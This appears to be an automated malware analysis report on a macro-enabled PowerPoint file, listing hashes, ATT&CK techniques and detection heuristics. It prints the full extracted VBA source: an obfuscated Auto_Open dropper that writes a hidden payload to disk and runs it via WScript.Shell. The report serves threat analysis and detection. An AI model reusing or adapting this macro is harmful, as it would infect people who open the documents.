Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 9b18b03d31cf370c…

MALICIOUS

Office (OOXML)

13.0 KB First seen: 2021-09-23
MD5: 7a49d402e3d3de37a8c34eb28a73143e SHA-1: ad0412983712108d2e61d0cc4a7fefe890a0c9f3 SHA-256: 9b18b03d31cf370ca3390a3c3368d923b5697b4af448189f51c034924620e565
260 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The OOXML document contains a VBA project with an Auto_Open macro, which is a common technique for executing malicious code upon opening the document. The script utilizes WScript.Shell to execute a command, likely to download and run a secondary payload. The obfuscated string manipulation and the use of 'WScript.Shell' and 'CreateObject' strongly indicate a downloader or droppper functionality.

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Related samples 3

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1582 bytes
SHA-256: 1158b063f45fd66226e2939a27a1a111e68da90abd23a904657d891fa6727d0e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "dasOxPj"


Public fLVgCOW As New yDqqMJM

Sub iucTCFt()


fLVgCOW.fBCYHOa

End Sub

Attribute VB_Name = "rbDNZln"
Attribute VB_Base = "0{F36C00B2-36DA-457A-8078-D72933F72A67}{7737DD57-4184-46EF-A0C6-3D5384A74331}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "yDqqMJM"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False



Public Function ikRcTfj(cDRWdnC)
ikRcTfj = Replace(cDRWdnC, "03Nc@<$}(cpTHvl#u*3]{*.O83qcz6cPj~~qC8b7", "")
End Function


Sub fBCYHOa()


Dim VOxiXNa As String: VOxiXNa = rbDNZln.vnfbObJ.Tag


Dim xaMcWqg As String: xaMcWqg = ikRcTfj(VOxiXNa)
Open xaMcWqg For Output As #1


Dim kNXYjtU As String: kNXYjtU = rbDNZln.vnfbObJ.ControlTipText


Dim HOIzFId As String: HOIzFId = ikRcTfj(kNXYjtU)
Print #1, HOIzFId
Close

On Error Resume Next
AppActivate "Microsoft PowerPoint Services..."
If Err <> 0 Then
Err = 0

Set FszubiS = CreateObject("WScript.Shell")

Set MkypMVG = FszubiS.exEc("C:\Windows\Explorer " & xaMcWqg)

If Err <> 0 Then MsgBox "Can't Stop "
End If


End Sub


Attribute VB_Name = "mLWJOCw"




Public Sub aUtO_oPeN()






dasOxPj.iucTCFt

End Sub
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 38400 bytes
SHA-256: 9259a1ea128247fd6aff762e90d8763b1b5f06319683cd1070972a3605236908

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